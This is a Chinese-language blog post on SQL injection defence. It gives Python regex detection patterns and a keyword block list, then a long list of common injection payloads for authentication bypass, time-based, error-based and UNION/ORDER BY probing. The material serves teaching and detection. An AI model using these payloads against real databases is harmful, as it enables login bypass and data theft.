SQL 防注入正则表达式与实现过滤

发表于 更新于 分类于 阅读次数： 本文字数： 576 阅读时长 ≈ 2 分钟

SQL 防注入

一般在项目中我们不太会去注意 SQL 注入的问题，因为我们会使用 ORM，而 ORM 在实现的过程中也会帮我做 SQL 注入过滤；但有的时候 ORM 没法满足我们的需求，这时可能就会手撸原生 SQL 来执行

注意！！极其不建议使用拼接 sql 语句，这样很容易引起 sql 注入！！

如果必须要自己拼接 sql 语句，请使用 mysql.escape 方法；或者利用正则来对输入参数进行过滤。以 Python为例利用 re.compile 生成正则表达式，然后利用 re.search 进行判断，实现如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pattern = re.compile(
    r"(%27)|(\')|(\-\-)|(%23)|(#)|"  # Regex for detection of SQL meta-characters
    r"\w*((%27)|(\'))\s+((%6F)|o|(%4F))((%72)|r|(%52))\s*|"  # Modified regex for detection of SQL meta-characters eg: ' or 1 = 1' detect word 'or',
    r"((%3D)|(=))[^\n]*((%27)|(\')|(\-\-)|(%3B)|(;))"  # Regex for typical SQL Injection attack eg: '= 1 --'
    r"((%27)|(\'))union|"  # Regex for detecting SQL Injection with the UNION keyword
    r"((%27)|(\'))select|"  # Regex for detecting SQL Injection with the UNION keyword
    r"((%27)|(\'))insert|"  # Regex for detecting SQL Injection with the UNION keyword
    r"((%27)|(\'))update|"  # Regex for detecting SQL Injection with the UNION keyword
    r"((%27)|(\'))drop",  # Regex for detecting SQL Injection with the UNION keyword
    re.IGNORECASE,
)
r = pattern.search("' OR 1 -- -")
if r:
    return True

也有一种直接简单粗暴的方法，那就是直接过滤关键字：

1
pattern = r"\b(exec|insert|union|select|drop|grant|alter|delete|update|count|chr|mid|truncate|delclare)\b|(;)"

Payload

常用 SQL 注入 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
--- 通用SQL注入payload

' or '
-- or # 
' OR '1
' OR 1 -- -
OR "" = "
" OR 1 = 1 -- -"
' OR '' = '
'='
'LIKE'
'=0--+
OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2

--- 基于时间的payload

,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--

--- 基于通用错误的payload

OR 1=1
OR 1=1#
OR x=y#
OR 1=1-- 
OR x=x-- 
OR 3409=3409 AND ('pytW' LIKE 'pytW
HAVING 1=1
HAVING 1=1#
HAVING 1=0-- 
AND 1=1-- 
AND 1=1 AND '%'='
WHERE 1=1 AND 1=0--
%' AND 8310=8310 AND '%'='

--- 基于认证的payload

' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
or true--
" or true--
' or true--
") or true--
') or true--
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/

--- Order by和UNION的payload

1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+
1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+
1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --
-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --
-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@
1 AND (SELECT * FROM Users) = 1 
' AND MID(VERSION(),1,1) = '5';
' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --

常用正则表达式参考